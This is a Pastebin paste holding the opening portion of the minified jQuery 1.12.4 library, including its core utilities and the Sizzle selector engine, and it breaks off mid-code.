Guest User

Untitled

a guest
Jun 18th, 2017
914
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 476.60 KB | None | 0 0
  1. /*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */
  2. !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(!l.ownFirst)for(b in a)return k.call(a,b);for(b in a);return void 0===b||k.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(h)return h.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=e.call(arguments,2),d=function(){return a.apply(b||this,c.concat(e.call(arguments)))},d.guid=a.guid=a.guid||n.guid++,d):void 0},now:function(){return+new Date},support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=la(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=ma(b);function pa(){}pa.prototype=d.filters=d.pseudos,d.setFilters=new pa,g=fa.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=R.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=S.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(Q," ")}),h=h.slice(c.length));for(g in d.filter)!(e=W[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fa.error(a):z(a,i).slice(0)};function qa(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}if(f=d.getElementById(e[2]),f&&f.parentNode){if(f.id!==e[2])return A.find(a);this.length=1,this[0]=f}return this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var 